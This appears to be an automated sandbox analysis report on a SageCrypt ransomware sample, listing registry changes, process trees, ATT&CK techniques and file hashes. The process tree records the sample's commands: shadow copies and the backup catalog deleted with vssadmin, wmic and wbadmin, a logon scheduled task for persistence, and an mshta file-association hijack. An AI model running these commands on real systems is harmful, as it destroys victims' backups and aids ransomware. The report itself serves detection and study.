Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\AppDataLow\aNoE7dUk	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\AppDataLow	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\aNoE7dUk	explorer.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\AppDataLow\aNoE7dUk	explorer.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\aNoE7dUk	explorer.exe
Key created	\REGISTRY\USER\S-1-5-19	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\AppDataLow	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20	explorer.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\shell\open\command\ = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\f1.hta\" \"%1\""	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open\command\ = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\f1.hta\" \"%1\""	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\DefaultIcon	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,47"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\FriendlyTypeName\ = "encrypted file"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\AppDataLow	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\AppDataLow\aNoE7dUk	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.sage	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open\command	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,44"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\FriendlyTypeName	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\DefaultIcon	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\FriendlyTypeName\ = "encrypted file"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\shell\open	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,47"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\aNoE7dUk	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\sage.notice\shell\open\command	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\htafile\DefaultIcon	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\htafile\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,44"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.sage\ = "sage.notice"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Software\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\.sage	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\.sage\ = "sage.notice"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\htafile	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\FriendlyTypeName	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
3944	explorer.exe
3944	explorer.exe
4284	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4284	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4284	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4284	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
3944	explorer.exe
3944	explorer.exe
4748	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4748	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4748	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4748	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
3944	explorer.exe
3944	explorer.exe
3944	explorer.exe
3944	explorer.exe

Suspicious behavior: LoadsDriver 26 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
660	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
3944	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5448	WMIC.exe
Token: SeSecurityPrivilege	5448	WMIC.exe
Token: SeTakeOwnershipPrivilege	5448	WMIC.exe
Token: SeLoadDriverPrivilege	5448	WMIC.exe
Token: SeSystemProfilePrivilege	5448	WMIC.exe
Token: SeSystemtimePrivilege	5448	WMIC.exe
Token: SeProfSingleProcessPrivilege	5448	WMIC.exe
Token: SeIncBasePriorityPrivilege	5448	WMIC.exe
Token: SeCreatePagefilePrivilege	5448	WMIC.exe
Token: SeBackupPrivilege	5448	WMIC.exe
Token: SeRestorePrivilege	5448	WMIC.exe
Token: SeShutdownPrivilege	5448	WMIC.exe
Token: SeDebugPrivilege	5448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5448	WMIC.exe
Token: SeRemoteShutdownPrivilege	5448	WMIC.exe
Token: SeUndockPrivilege	5448	WMIC.exe
Token: SeManageVolumePrivilege	5448	WMIC.exe
Token: 33	5448	WMIC.exe
Token: 34	5448	WMIC.exe
Token: 35	5448	WMIC.exe
Token: 36	5448	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5448	WMIC.exe
Token: SeSecurityPrivilege	5448	WMIC.exe
Token: SeTakeOwnershipPrivilege	5448	WMIC.exe
Token: SeLoadDriverPrivilege	5448	WMIC.exe
Token: SeSystemProfilePrivilege	5448	WMIC.exe
Token: SeSystemtimePrivilege	5448	WMIC.exe
Token: SeProfSingleProcessPrivilege	5448	WMIC.exe
Token: SeIncBasePriorityPrivilege	5448	WMIC.exe
Token: SeCreatePagefilePrivilege	5448	WMIC.exe
Token: SeBackupPrivilege	5448	WMIC.exe
Token: SeRestorePrivilege	5448	WMIC.exe
Token: SeShutdownPrivilege	5448	WMIC.exe
Token: SeDebugPrivilege	5448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5448	WMIC.exe
Token: SeRemoteShutdownPrivilege	5448	WMIC.exe
Token: SeUndockPrivilege	5448	WMIC.exe
Token: SeManageVolumePrivilege	5448	WMIC.exe
Token: 33	5448	WMIC.exe
Token: 34	5448	WMIC.exe
Token: 35	5448	WMIC.exe
Token: 36	5448	WMIC.exe
Token: SeBackupPrivilege	5900	vssvc.exe
Token: SeRestorePrivilege	5900	vssvc.exe
Token: SeAuditPrivilege	5900	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3308	WMIC.exe
Token: SeSecurityPrivilege	3308	WMIC.exe
Token: SeTakeOwnershipPrivilege	3308	WMIC.exe
Token: SeLoadDriverPrivilege	3308	WMIC.exe
Token: SeSystemProfilePrivilege	3308	WMIC.exe
Token: SeSystemtimePrivilege	3308	WMIC.exe
Token: SeProfSingleProcessPrivilege	3308	WMIC.exe
Token: SeIncBasePriorityPrivilege	3308	WMIC.exe
Token: SeCreatePagefilePrivilege	3308	WMIC.exe
Token: SeBackupPrivilege	3308	WMIC.exe
Token: SeRestorePrivilege	3308	WMIC.exe
Token: SeShutdownPrivilege	3308	WMIC.exe
Token: SeDebugPrivilege	3308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3308	WMIC.exe
Token: SeRemoteShutdownPrivilege	3308	WMIC.exe
Token: SeUndockPrivilege	3308	WMIC.exe
Token: SeManageVolumePrivilege	3308	WMIC.exe
Token: 33	3308	WMIC.exe
Token: 34	3308	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4284	4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	99
PID 4548 wrote to memory of 3780	4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	100
PID 4548 wrote to memory of 3944	4548	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	110
PID 3944 wrote to memory of 3460	3944	explorer.exe	111
PID 3944 wrote to memory of 396	3944	explorer.exe	116
PID 3944 wrote to memory of 5532	3944	explorer.exe	118
PID 3944 wrote to memory of 2032	3944	explorer.exe	120
PID 5532 wrote to memory of 5448	5532	cmd.exe	122
PID 3944 wrote to memory of 2492	3944	explorer.exe	132
PID 3944 wrote to memory of 3628	3944	explorer.exe	134
PID 3944 wrote to memory of 3812	3944	explorer.exe	136
PID 3628 wrote to memory of 3308	3628	cmd.exe	138
PID 3944 wrote to memory of 3044	3944	explorer.exe	140
PID 3944 wrote to memory of 5548	3944	explorer.exe	142
PID 3944 wrote to memory of 3188	3944	explorer.exe	144
PID 5548 wrote to memory of 3984	5548	cmd.exe	146
PID 3944 wrote to memory of 5620	3944	explorer.exe	149
PID 3944 wrote to memory of 2868	3944	explorer.exe	150
PID 3944 wrote to memory of 5668	3944	explorer.exe	151
PID 3944 wrote to memory of 3896	3944	explorer.exe	153
PID 3944 wrote to memory of 224	3944	explorer.exe	154
PID 3944 wrote to memory of 5216	3944	explorer.exe	156
PID 3944 wrote to memory of 208	3944	explorer.exe	158
PID 5216 wrote to memory of 6116	5216	cmd.exe	161

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
  "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe" g
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4284
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /CREATE /TN "CK6RkMeo" /TR "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe" /SC ONLOGON /RL HIGHEST /F
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:3780
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\syswow64\explorer.exe"
  2⤵
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:396
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5532
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5448
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3628
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5548
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3188
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\!HELP_SOS.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5620
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    PID:2868
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /DELETE /TN /F "CK6RkMeo"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5668
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f289551689.vbs"
    3⤵
    - Deletes itself
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    PID:3896
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5216
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      PID:6116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv
1⤵
PID:5836

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4748

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5900

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4f8 0x2f4
1⤵
PID:5340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Process Injection

T1055

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

f1.vbs

Path C:\Users\Admin\AppData\Local\Temp\f1.vbs
Size 3KB
SHA256 2a0d2418a2504ad14960dcff54f0892339eeed53e359585c9b04a29c4e6e4274
MD5 37219fd2d09abee4189a1ae33de93e2d
SHA1 5e4cc26e169b6bd16843bcc86806556dac372c57
SHA512 626b89eb5b132ac43a6fb2d5dcc1c62349a6a48045a486835aa51c17348b0c4849cf5d56b4b56359c7bab5bdccaa04adf659f7486de84f9c14d86032272e5069
TLSH
T1EA615C1A2E69F17D1D9241C5272AC111F31BFCEE62030E86A40DE458761B3A72FD35F9
MD5 SHA1 SHA512 TLSH

Submit Download

f289551689.vbs

Path C:\Users\Admin\AppData\Local\Temp\f289551689.vbs
Size 568B
SHA256 3b3ec2486a1d8fceb365b2fe095b465dee509b94109eede5ac917f44176b2c94
MD5 1ea6a910324e53849cf354a72339a00a
SHA1 ea9fd4302dd83f9bc8b05ef692db5d1500651cef
